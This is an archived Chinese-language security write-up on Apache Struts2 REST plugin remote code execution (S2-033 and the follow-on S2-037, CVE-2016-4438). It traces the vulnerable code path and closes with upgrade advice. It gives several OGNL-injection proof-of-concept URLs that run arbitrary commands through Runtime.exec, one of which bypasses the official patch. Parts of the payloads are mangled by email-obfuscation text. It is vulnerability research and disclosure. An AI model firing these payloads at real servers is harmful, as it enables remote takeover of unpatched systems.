# PKAV 发现 Struts2 最新远程命令执行漏洞（S2-037）

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-06-16T05:28:00Z
Canonical: https://wepostx.com/topics/312

> 乌云历史资料归档
>
> **原始作者：** 香草
> **原始编号：** superkieran-wooyundrops:1253
> **原始发布时间：** 2016-06-16 13:28
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

刚过完儿童节回来发现struts2 出了S033，于是放下手中的棒棒糖赶紧分析一下。

![原文图片](/media/2016/06/c7ac4929481140e2b9979e9746c25671)

# 0x01 S2-033 漏洞回顾

先来回顾一下S033
根据官方描述

![原文图片](/media/2016/06/1643effa98efcffc183e16eb5bf00f76)

很明显有两个关键点：第一个是REST Plugin,另一个是Dynamic Method Invocation is enabled.（也就是开启动态方法执行），看到这里需要满足两个条件，感觉有点鸡肋啊……
直接下载回来源代码调试，载入官方的演示包struts2-rest-showcase.war，我们先随便访问一个连接/struts2-rest-showcase/orders/1,很快定位到关键代码
Rest-plujin包里面的org.apache.struts2.rest.RestActionMapper

![原文图片](/media/2016/06/325d0f50d1569beee7b5f104c848f5f9)

首先要过第一关：dropExtension,这个方法会检查后缀名

![原文图片](/media/2016/06/4cb012d6475b51bd722969a8c46cc5b5)

其中extensions的值来自配置文件struts-plugin.xml，默认是：

![原文图片](/media/2016/06/45d5f1662fb798e036a68f71e863f98c)

因此要想通过检查我们需要构造一个.xhtml、.xml或者.json结尾的URL，或者没有后缀直接是xx/xx,这就不能使用”.”这显然是不行的。
继续往下调试：

![原文图片](/media/2016/06/7704ad184a70e1217315783b3c6eeba2)

就是说如果刚才的链接里面出现了!就进入下面的流程直接得到一个!后面的值，然后没有过滤直接放在了mapping里面
构造链接：/struts2-rest-showcase281/orders/3/1!{xxx}

![原文图片](/media/2016/06/55bd55d2193e8e629f66149223ba4881)

在加上前面有一个allowDynamicMethodCalls的判断，几乎可以肯定漏洞点就是在这儿,继续往下走，最终method会进入到，com.opensymphony.xwork2.DefaultActionInvocation类的invokeAction方法，如下图

![原文图片](/media/2016/06/9456208cf2312c9d70ced8d9e27dafa7)

我们看到methodName直接进入到了ognlUtil.getValue方法，对struts2历史漏洞有点熟悉的同学都知道，这个就是最终导致代码执行的地方。不多说，直接上POC：

```text
#!shell http://127.0.0.1:8888/struts2-rest-showcase/orders/3!%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@ [email protected] ().exec(%23parameters.cmd),index.xhtml?cmd=calc
```

![原文图片](/media/2016/06/6de647fc7ebaaa100a24dffc6bc80b64)

# 0x02 绕过动态方法执行的限制

但是如果真的只是这样这个漏洞真的是比较鸡肋的，因为动态方法在这里默认是不开启的，那我们接着分析，有没有可能不用开动态方法都可以执行任意代码了，答案是肯定的。这个地方能不能代码执行主要是这个地方的限制

![原文图片](/media/2016/06/2b72e69b6fcef5dbdf28da0973afdce8)

其实只要我们继续往下走，会发现其他地方也会mapping.setMethod代码如下

![原文图片](/media/2016/06/b7b34a237665738a2212264e882b55f1)

其实无非就是：

```text
#!shell http://127.0.0.1:8888/struts2-rest-showcase/orders/3/methodName
```
这样构造就不需要动态方法执行了，上POC：

```text
#!shell http://127.0.0.1:8888/struts2-rest-showcase/orders/3/%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@ [email protected] ().exec(%23parameters.cmd),index.xhtml?cmd=calc
```
这个算其实已经算是一个0day了，这个可以绕过了动态方法执行的限制。但是这还不够，于是我马上找来了最新官方声称漏洞修复的2.3.281、2.3.20.3 and 2.3.24.3，同样的代码却报错了

![原文图片](/media/2016/06/a8b02042c920aee4d5f4c470d0332e93)

难道官方是这样修复的，改了检查方法执行的方法checkEnableEvalExpression，这个方法是在request.xx(x)这种代码执行的方式后加入的判断，主要是为了杜绝参数名上面的代码执行，不过好在这个地方我们不需要这种方式执行代码。经过研究我还是通过三目运算符绕过了这个检测，POC：

```text
#!shell http://127.0.0.1:8888/struts2-rest-showcase281/orders/3/(%23mem=%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS) [email protected] @getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc
```

![原文图片](/media/2016/06/251e0e3599067ea71d2abf9eabe2fe88)

6月3号的时候我给struts2官方提交了这个新的高危漏洞(CVE编号CVE-2016-4438)，影响所有使用了REST插件的用户，无需要开启动态方法执行（不包括struts 2.5）,此后的几天网上不断有关于s2-033的分析与绕过出来，但是他们大都错误的认为需要开启动态方法执行才能触发漏洞，其实并不需要。正如官方回复这个漏洞说的

![原文图片](/media/2016/06/01a1f33a82cf76bb8775d6208378727a)

去掉了with ! operator when Dynamic Method Invocation is enabled这句话，因此这个漏洞影响更为广泛。

# 0x03 修复建议

在上一个版本里面也是method出的问题，当时是加入了cleanupActionName方法进行过滤，如果这个地方要修复，也可以加入这个方法过滤一下即可。更新至官方struts 2.3.29
在线检测：[http://www.pkav.net/tool/struts2/index.php](http://www.pkav.net/tool/struts2/index.php)
参考：https://cwiki.apache.org/confluence/display/WW/S2-037

## Replies
